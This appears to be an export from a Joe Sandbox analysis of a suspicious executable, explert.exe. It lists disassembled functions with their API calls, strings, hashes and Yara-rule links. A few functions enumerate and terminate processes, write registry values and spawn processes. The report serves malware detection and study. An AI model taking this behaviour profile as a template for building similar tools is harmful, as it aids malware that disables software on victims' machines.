Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: ___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2659868963-1866435925
Opcode ID: c68d7e1883d620cb61473224c63922ac806844f3a7a5fe96857980545e8fbe2e
Instruction ID: 34f5094f1ddde80f96cee9eb8260604cfc170964c4c793469d0a6ebdebfed87c
Opcode Fuzzy Hash: c68d7e1883d620cb61473224c63922ac806844f3a7a5fe96857980545e8fbe2e
Instruction Fuzzy Hash: 0251BF76601A159FCB20CF59D484E99FBF4FF58314F1481AAE9099B712D731ED05CBA0

Function 00531ED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 00531F88

Strings

ios_base::eofbit set, xrefs: 00532032
ios_base::failbit set, xrefs: 0053202D
ios_base::badbit set, xrefs: 00532023, 0053204C

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: Initstd::locale::_
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 1620887387-1866435925
Opcode ID: 8286a9126da931dc70d12c8388d47c684608ce898b0e44fe955f1322401a92e1
Instruction ID: 576287548d1addac700ea4b06dc85bd66c56fb02710225c49fe361059fb9f069
Opcode Fuzzy Hash: 8286a9126da931dc70d12c8388d47c684608ce898b0e44fe955f1322401a92e1
Instruction Fuzzy Hash: 594190B0600B059FEB20DF65C499B5ABFF4BF04304F44852DE94A8B782E7B5E918CB91

Function 00544D30 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 106COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 00544D99

Part of subcall function 0054F760: std::_Lockit::_Lockit.LIBCPMT ref: 0054F772
Part of subcall function 0054F760: std::locale::_Setgloballocale.LIBCPMT ref: 0054F78D
Part of subcall function 0054F760: _Yarn.LIBCPMT ref: 0054F7A3
Part of subcall function 0054F760: std::_Lockit::~_Lockit.LIBCPMT ref: 0054F7E3

Strings

ios_base::eofbit set, xrefs: 00544E3E
ios_base::failbit set, xrefs: 00544E39
ios_base::badbit set, xrefs: 00544E2F, 00544E58

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$InitLockit::_Lockit::~_SetgloballocaleYarn
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 238635018-1866435925
Opcode ID: 7a4d42e0865365c8b0c8d60e3eb84ce54699b47aab27697d270bc64f63e6f70c
Instruction ID: d74f348c0d9cfd1594bed096bc429199fd0f464398da140230007020ac56fea0
Opcode Fuzzy Hash: 7a4d42e0865365c8b0c8d60e3eb84ce54699b47aab27697d270bc64f63e6f70c
Instruction Fuzzy Hash: 083190B19007059FE720DF65C459B97BFE4BF84308F048929D9468B682EBB9E909CF91

Function 0053F3A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,00000000,?), ref: 0053F447
CloseHandle.KERNEL32(?), ref: 0053F45A
CloseHandle.KERNEL32(?), ref: 0053F45F

Strings

D, xrefs: 0053F3FA

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: CloseHandle$CreateProcess
String ID: D
API String ID: 2922976086-2746444292
Opcode ID: 6e33f974fbe15bf604a9154332d75bbeb42f16ae86d25dae1f7121712b0a5d08
Instruction ID: b07f23bcf4ba3e557c6adc5f851c35ca7d507cac8a9ff250e07d95475167c945
Opcode Fuzzy Hash: 6e33f974fbe15bf604a9154332d75bbeb42f16ae86d25dae1f7121712b0a5d08
Instruction Fuzzy Hash: C2316B32E1021DABDF109F94CD45BEEBB7ABB99314F245619E50477184E7B06984CBA0

Function 0056C914 Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0056C9E4
_free.LIBCMT ref: 0056CA0D
SetEndOfFile.KERNEL32(00000000,0056ACFD,00000000,0056AF94,?,?,?,?,?,?,?,0056ACFD,0056AF94,00000000), ref: 0056CA3F
GetLastError.KERNEL32(?,?,?,?,?,?,?,0056ACFD,0056AF94,00000000,?,?,?,?,00000000), ref: 0056CA5B

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 08caa35a60eeb803c76b3b5413a19f4a77b68dcbec79133ed9cfcb0fbfec717e
Instruction ID: b4a30312dabe1562152e223837cce513ecc914c9a7aeba298c927648e8862657
Opcode Fuzzy Hash: 08caa35a60eeb803c76b3b5413a19f4a77b68dcbec79133ed9cfcb0fbfec717e
Instruction Fuzzy Hash: E941F672900206ABDB11ABF9CC4ABBE3F79BF85360F140512F895F7291EA30ED448760

Function 00564496 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 005593E4: _free.LIBCMT ref: 005593F2

Part of subcall function 0056408B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,00561A10,?,00000000,00000000), ref: 00564137

GetLastError.KERNEL32 ref: 005644FE
__dosmaperr.LIBCMT ref: 00564505
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 00564544
__dosmaperr.LIBCMT ref: 0056454B

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 184ee9acc19b89108fe3f38a6e8433f46c427bb098aa7883d8534031e232cccd
Instruction ID: 90696a3c7b5863fdeacf5bff036445c4804739d1ff3104489f48ea9c5583d959
Opcode Fuzzy Hash: 184ee9acc19b89108fe3f38a6e8433f46c427bb098aa7883d8534031e232cccd
Instruction Fuzzy Hash: 5D21A171600216AF9F20AFA5DC8597BBFACFF953757108519F82697151EB30EC408FA0

Function 0055CA90 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00531920,00000001,00531924,00556D0D,00000001,00000000,00000000,?,0055CD85,00000000,00000000,00000001,00000000,00531920,00000104), ref: 0055CA95
_free.LIBCMT ref: 0055CAF2
_free.LIBCMT ref: 0055CB28
SetLastError.KERNEL32(00000000,00000006,000000FF,?,0055CD85,00000000,00000000,00000001,00000000,00531920,00000104), ref: 0055CB33

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 9ed28f6d6729cd0f0ddf21b37798fc0aab2f1d89aa247d8719880587c857861b
Instruction ID: 451bc6741bb18d5d9da94e1c31b5eeb3c670e7271e70d9485f964eba1ab15503
Opcode Fuzzy Hash: 9ed28f6d6729cd0f0ddf21b37798fc0aab2f1d89aa247d8719880587c857861b
Instruction Fuzzy Hash: 0C110A722043076ED611A378ECAAD2B2E69BBC17B7B690737FD25921D1DD604C0DA220

Function 0055CBE7 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00558B2B,005609C0,?,?,005518D8,?,?,?,?,?,005311E3,?,?), ref: 0055CBEC
_free.LIBCMT ref: 0055CC49
_free.LIBCMT ref: 0055CC7F
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,005518D8,?,?,?,?,?,005311E3,?,?), ref: 0055CC8A

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 2fe41a6600c04ed7ad8e4c39a0f197c658ea78e3f747a31f2ab474658e3703c3
Instruction ID: a0cebb7cfe4cfa5068e970ccfc8cebc9c4fab89ef073acc9ff5f66b94a6b70a9
Opcode Fuzzy Hash: 2fe41a6600c04ed7ad8e4c39a0f197c658ea78e3f747a31f2ab474658e3703c3
Instruction Fuzzy Hash: CD112C322043026ED6116375ECAAD2B2E69F7C23B3B250637FD3D921D1DD218C4DB260

Function 00531330 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

K32EnumProcesses.KERNEL32(?,00001000,?), ref: 0053134D
OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 00531397
TerminateProcess.KERNEL32(00000000,00000000), ref: 005313A2
CloseHandle.KERNEL32(00000000), ref: 005313A9

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: Process$CloseEnumHandleOpenProcessesTerminate
String ID:
API String ID: 1176117389-0
Opcode ID: 1f7988858fe8d4e1db3a47691a6f760ed2e8ac80000815d7114f363dcec0d755
Instruction ID: 99f2a7c6665e93a2252ec10b5c7b727a96228571170c20fe5f56a015e019a3b6
Opcode Fuzzy Hash: 1f7988858fe8d4e1db3a47691a6f760ed2e8ac80000815d7114f363dcec0d755
Instruction Fuzzy Hash: 0701A2766002096BEB219AB8EC8AFDE779DAF49752F000570FF08D3140EAA1AD855769

Function 00539EB0 Relevance: 6.0, APIs: 4, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00000002,?), ref: 00539ECC
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000010,?), ref: 00539EF9
RegCloseKey.ADVAPI32(?), ref: 00539F06
RegCloseKey.ADVAPI32(?), ref: 00539F10

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: Close$OpenValue
String ID:
API String ID: 3951040859-0
Opcode ID: ac7c69771cc02ce445bdbf2f478f3eedd458c5b695b13fc48ad07385e02c9f9a
Instruction ID: 34e203c94f162f770f595278d86d593f8c6f89519743cbfaf6bd8c14bd4eae39
Opcode Fuzzy Hash: ac7c69771cc02ce445bdbf2f478f3eedd458c5b695b13fc48ad07385e02c9f9a
Instruction Fuzzy Hash: DF012874200204EFEF09CF14D88AE663B6AFB44714F508458F5158F2A1E7F2ED45EBA0

Function 0056C4ED Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,00000010,00000000,00000000,?,00568E52,00000000,00000001,00000000,00000000,?,0055E22D,?,00000010,00000000), ref: 0056C504
GetLastError.KERNEL32(?,00568E52,00000000,00000001,00000000,00000000,?,0055E22D,?,00000010,00000000,?,00000000,?,0055E779,00000010), ref: 0056C510

Part of subcall function 0056C4D6: CloseHandle.KERNEL32(FFFFFFFE,0056C520,?,00568E52,00000000,00000001,00000000,00000000,?,0055E22D,?,00000010,00000000,?,00000000), ref: 0056C4E6

___initconout.LIBCMT ref: 0056C520

Part of subcall function 0056C498: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0056C4C7,00568E3F,00000000,?,0055E22D,?,00000010,00000000,?), ref: 0056C4AB

WriteConsoleW.KERNEL32(00000000,00000000,00000010,00000000,?,00568E52,00000000,00000001,00000000,00000000,?,0055E22D,?,00000010,00000000,?), ref: 0056C535

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 9d56bff7bd8da9cf0c6e73eb6d9b1f31048720b42e5084b32b9d00853a8fc760
Instruction ID: 525c3f3b78b42d87522e27032e89133050b11d06954f6145421eb42e86d7f608
Opcode Fuzzy Hash: 9d56bff7bd8da9cf0c6e73eb6d9b1f31048720b42e5084b32b9d00853a8fc760
Instruction Fuzzy Hash: DEF03036001115BBCF226F95EC09EAE3F26FB683B2F004420FA4D97130DA729824FB90

Function 0055BC9F Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0055BCA8

Part of subcall function 0055CE37: HeapFree.KERNEL32(00000000,00000000,?,00566429,?,00000000,?,?,?,005666CC,?,00000007,?,?,00566BBF,?), ref: 0055CE4D
Part of subcall function 0055CE37: GetLastError.KERNEL32(?,?,00566429,?,00000000,?,?,?,005666CC,?,00000007,?,?,00566BBF,?,?), ref: 0055CE5F

_free.LIBCMT ref: 0055BCBB
_free.LIBCMT ref: 0055BCCC
_free.LIBCMT ref: 0055BCDD

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 2c4c3dd4f6272c17a6cc474db12ee4427166e9a90917dc9ff5b79a3f64a10043
Instruction ID: 7da714cc8b81c54b61a560244257a9c573cac778a0ab1bdcfe88dbd9faffe674
Opcode Fuzzy Hash: 2c4c3dd4f6272c17a6cc474db12ee4427166e9a90917dc9ff5b79a3f64a10043
Instruction Fuzzy Hash: B7E0B671800A21AE87826F14BE5B45B3E3DBBB4B517057407FD2032271DA72655EFF89

Function 0053EC30 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 206COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0053EF60

Strings

0, xrefs: 0053EE5A
H, xrefs: 0053ED9C

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: 0$H
API String ID: 323602529-1388647558
Opcode ID: e44eda4911ab0d178b341d7c5f0e6e1b589e78d19a398e97193e8ab283347e0d
Instruction ID: 063f6da4d93934b5383b96754bd4082c00750a56b29e9dc633f95578bdb868b1
Opcode Fuzzy Hash: e44eda4911ab0d178b341d7c5f0e6e1b589e78d19a398e97193e8ab283347e0d
Instruction Fuzzy Hash: 66A15D74A002199FDB14CF58C885BDEBBB5BF49300F1485E8E449AB381DB70AE89CF91

Function 0055910D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0055919D

Strings

pow, xrefs: 00559175, 00559192

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: fccc94c055a23962e2225939ebd0ae1b7ba30c3c9de107ea8be3ff25d65e7eea
Instruction ID: 3eee60543f35e46c544889d329ef856876e2a7146099ee07041bdb69ad20ea5f
Opcode Fuzzy Hash: fccc94c055a23962e2225939ebd0ae1b7ba30c3c9de107ea8be3ff25d65e7eea
Instruction Fuzzy Hash: 37519C61A08603D6CB117714DD2936A3FA8FB90742F204D5AF895432E9EB398DDDFB42

Function 0053FA30 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 145COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0053FB90
Concurrency::cancel_current_task.LIBCPMT ref: 0053FB95

Strings

eT, xrefs: 0053FA6D, 0053FA51

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: eT
API String ID: 118556049-1760902009
Opcode ID: 7333919df190098a016cfe7dbdb365896b105da4e3f8f89e44a2f20269ce9e39
Instruction ID: 0e34cbac363ad5007c83a97fb210ab533ef0a2512ce15204e88b68f0f85b99e5
Opcode Fuzzy Hash: 7333919df190098a016cfe7dbdb365896b105da4e3f8f89e44a2f20269ce9e39
Instruction Fuzzy Hash: 1B419F75A007019FD724CF29C4A0A6AFBE1FF58711F14892EE89A87711D731ED95CB90

Function 005599DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe, xrefs: 00559A1F, 00559A26, 00559A5C

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
API String ID: 0-3350077389
Opcode ID: ac42a1f838aced4eab65b501b249c3e6a697f93f5a57a4018b79f7c6c328d1de
Instruction ID: 93dd97fb4c3d1d8d23e910073c1bc1d822478e3143daf3e6d4f20b5a46ffd38a
Opcode Fuzzy Hash: ac42a1f838aced4eab65b501b249c3e6a697f93f5a57a4018b79f7c6c328d1de
Instruction Fuzzy Hash: DB41BEB1A00215EFDB229B99D8959AEBFFDFB85311F100067EC04A7250E7B49E48DB60

Function 00554072 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00554097

Strings

RCC, xrefs: 005540B1
MOC, xrefs: 005540A9

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: b63b6077db45e670c5e5b6b0a1a7aad49fbf040f977e28cb7e8260189a092a62
Instruction ID: 546d50af7add87e9863318d899c7c22e700be1965d933f9c5d85fe40ccc06ac5
Opcode Fuzzy Hash: b63b6077db45e670c5e5b6b0a1a7aad49fbf040f977e28cb7e8260189a092a62
Instruction Fuzzy Hash: FF418831900209AFCF15CF98CC95AAEBFB5BF48309F14805AFD04AB261D3359AA4CF50

Function 00532310 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 005323CE

Strings

ios_base::failbit set, xrefs: 0053231D
c4S, xrefs: 00532316, 0053234A, 0053234D

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: ___std_exception_copy
String ID: c4S$ios_base::failbit set
API String ID: 2659868963-823812268
Opcode ID: 56b24ddd386cd44f45507306ed0a2fcb6a86b7d9410112049b50e215a1b2d51e
Instruction ID: 896479d7ce6e22c89144b21afa39143437be76e106a168b5d71124ff9ab764a0
Opcode Fuzzy Hash: 56b24ddd386cd44f45507306ed0a2fcb6a86b7d9410112049b50e215a1b2d51e
Instruction Fuzzy Hash: 0E21D476600509ABD704DF68C885AAEFFBDFF85310F10855AF9449B341E771AD858BA0

Function 00566797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 005667DE

Strings

l=W, xrefs: 005667AC

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: _free
String ID: l=W
API String ID: 269201875-560687039
Opcode ID: a1a946c62be6859469d18d669b8c80c9ede53f2ee440bf72ee6fdeff90d88475
Instruction ID: 0c601c0ab13e831d85b60448cff40019277d48918a2697696e41ffada7a307ec
Opcode Fuzzy Hash: a1a946c62be6859469d18d669b8c80c9ede53f2ee440bf72ee6fdeff90d88475
Instruction Fuzzy Hash: 46F0AF32508312AEE7112A61AC86BA73F9CFB81775F20043AF80CAB143DA61684146B5

Function 0054F7F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0054F7FC
std::_Lockit::~_Lockit.LIBCPMT ref: 0054F857

Strings

@0S, xrefs: 0054F821, 0054F83B

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

